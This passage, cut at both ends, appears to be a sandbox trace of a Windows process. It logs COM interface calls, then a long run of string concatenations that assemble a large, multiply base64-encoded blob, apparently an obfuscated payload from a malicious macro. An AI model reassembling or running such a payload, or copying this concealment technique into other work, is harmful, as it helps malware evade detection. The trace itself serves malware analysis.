Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126570 | out: ppvObject=0x126570*=0x0) returned 0x80004002 [0053.625] IUnknown:Release (This=0x69b28a8) returned 0x3 [0053.625] IUnknown:AddRef (This=0x6856688) returned 0x4 [0053.625] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126578 | out: ppvObject=0x126578*=0x0) returned 0x80004002 [0053.625] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126570 | out: ppvObject=0x126570*=0x0) returned 0x80004002 [0053.626] IUnknown:Release (This=0x6856688) returned 0x3 [0053.626] IUnknown:AddRef (This=0x6856738) returned 0x4 [0053.626] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126578 | out: ppvObject=0x126578*=0x0) returned 0x80004002 [0053.626] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126570 | out: ppvObject=0x126570*=0x0) returned 0x80004002 [0053.626] IUnknown:Release (This=0x6856738) returned 0x3 [0053.626] IUnknown:AddRef (This=0x68569a0) returned 0x6 [0053.626] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126578 | out: ppvObject=0x126578*=0x0) returned 0x80004002 [0053.626] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126570 | out: ppvObject=0x126570*=0x0) returned 0x80004002 [0053.626] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.626] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaam", bstrRight="VGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUV", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.626] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUV", bstrRight="EJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVV", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.626] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVV", bstrRight="MVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWt", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.626] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWt", bstrRight="hVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.626] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0", bstrRight="ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WS", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.626] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WS", bstrRight="jZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBX", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.626] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBX", bstrRight="ZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelF", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.627] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelF", bstrRight="sQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbE", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.627] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbE", bstrRight="Y2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.627] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c", bstrRight="2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhT", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.628] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhT", bstrRight="bEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0V", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.628] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelFsQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbEY2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhTbEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0V", bstrRight="KYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZE", pbstrResult=0x126910 | out: pbstrResult=0x126910) returned 0x0 [0053.628] VarBstrCat (in: bstrLeft="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaamVGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUVEJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVVMVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWthVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WSjZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBXZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WV